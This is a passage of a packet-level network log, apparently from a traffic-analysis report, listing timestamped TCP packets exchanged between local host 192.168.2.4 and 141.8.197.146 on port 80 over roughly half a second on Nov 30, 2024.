Nov 30, 2024 05:00:10.610682011 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.610697031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.664827108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.723104000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.723238945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.723401070 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.723714113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.723764896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.723920107 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.724994898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.725105047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.726253033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.726324081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.726361036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.726430893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.727507114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.727622986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.727699041 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.728777885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.728880882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.728971004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.730031967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.730153084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.730222940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.731307030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.731409073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.731463909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.732558012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.732688904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.732810974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.733828068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.733943939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.734002113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.735095024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.735199928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.735904932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.736394882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.736507893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.736779928 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.737627029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.737746954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.737806082 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.738900900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.739001036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.739058971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.740160942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.740215063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.740284920 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.741441011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.741556883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.741617918 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.742875099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.743787050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.743927956 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.746303082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.746314049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.746326923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.746336937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.746367931 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.746414900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.747432947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.747606039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.747668028 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.748742104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.748893023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.749033928 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.749892950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.750077963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.750170946 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.751178980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.751347065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.751416922 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.751806974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.751820087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.751914978 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.754503012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.754652023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.754709959 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.755733967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.755887985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.756194115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.756278992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.756357908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.756407976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.757586956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.757730961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.757777929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.758837938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.759005070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.759087086 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.759385109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.759396076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.759454966 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.760400057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.760512114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.760591030 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.761672020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.761781931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.761832952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.762914896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.762999058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.763046026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.764204025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.764276981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.764342070 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.765463114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.765554905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.766628027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.766727924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.766841888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.766896963 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.767993927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.768105984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.768198013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.769253016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.769370079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.769489050 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.770515919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.770637035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.770694971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.771775961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.771874905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.771929026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.773040056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.773155928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.773230076 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.774339914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.774430990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.774512053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.775567055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.775676966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.775913954 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.776865005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.776973009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.777390003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.778101921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.778209925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.778278112 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.779351950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.779469967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.779572010 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.780625105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.805334091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.805425882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.805432081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.805885077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.806216002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.806277990 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.806315899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.806365013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.807413101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.807482004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.807909012 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.808676004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.808789968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.809950113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.810003996 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.810044050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.810101032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.811213970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.811320066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.811378002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.812472105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.867877007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.947705030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.947732925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.947851896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.948280096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.948364019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.948417902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.949557066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.949652910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.950825930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.950910091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.950947046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.950994015 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.952088118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.952183962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.952292919 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.953341961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.953457117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.953517914 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.954591036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.954699993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.954798937 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.955878973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.955997944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.956088066 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.957128048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.957241058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.957325935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.958417892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.958532095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.958626986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.959661007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.959778070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.959841967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.961003065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.961098909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.961147070 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.962208986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.962321997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.963471889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.963551044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.963567019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.963613033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.964734077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.964837074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.964915037 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.965991020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.966108084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.966144085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.967267036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.967448950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.967504025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.968538046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.968720913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.968838930 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.969814062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.970045090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.970097065 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.971061945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.971174002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.971235037 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.972332001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.972438097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.972493887 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.973588943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.973728895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.973794937 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.974855900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.974968910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.975064039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.976126909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.976234913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.976289988 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.977377892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.977484941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.978646040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.978693962 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.978732109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.978786945 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.979897976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.980012894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.980057001 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.981156111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.981333017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.981410027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.982455015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.982554913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.982664108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.983716965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.983839989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.983874083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.984962940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.985079050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.985177040 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.986208916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.986320972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.986413002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.987468958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.987586975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.987704039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.988774061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.988852024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.988903999 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.990025043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.990123987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.990205050 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.991298914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.991456032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.991935968 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.992573023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.992671967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.993793964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.993859053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.993925095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.993994951 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.995059967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.995162010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.995269060 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.996340990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.996448040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.996493101 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.997647047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.997710943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.997853994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:10.998861074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.998989105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:10.999027014 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.000133991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.000261068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.000319958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.001413107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.001493931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.001544952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.002654076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.002768040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.002844095 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.003946066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.004115105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.004177094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.005182028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.006586075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.006711006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.006756067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.007210970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.007299900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.007301092 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.008193016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.008253098 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.008295059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.009471893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.009587049 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.009612083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.010724068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.010788918 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.010842085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.012006998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.012053013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.012094021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.013243914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.013320923 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.013338089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.055414915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.148900032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.148972034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.149079084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.149215937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.149302959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.150484085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.150532007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.150547028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.150614977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.151746035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.151861906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.153000116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.153050900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.153073072 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.153090000 CET	49732	80	192.168.2.4	141.8.197.146
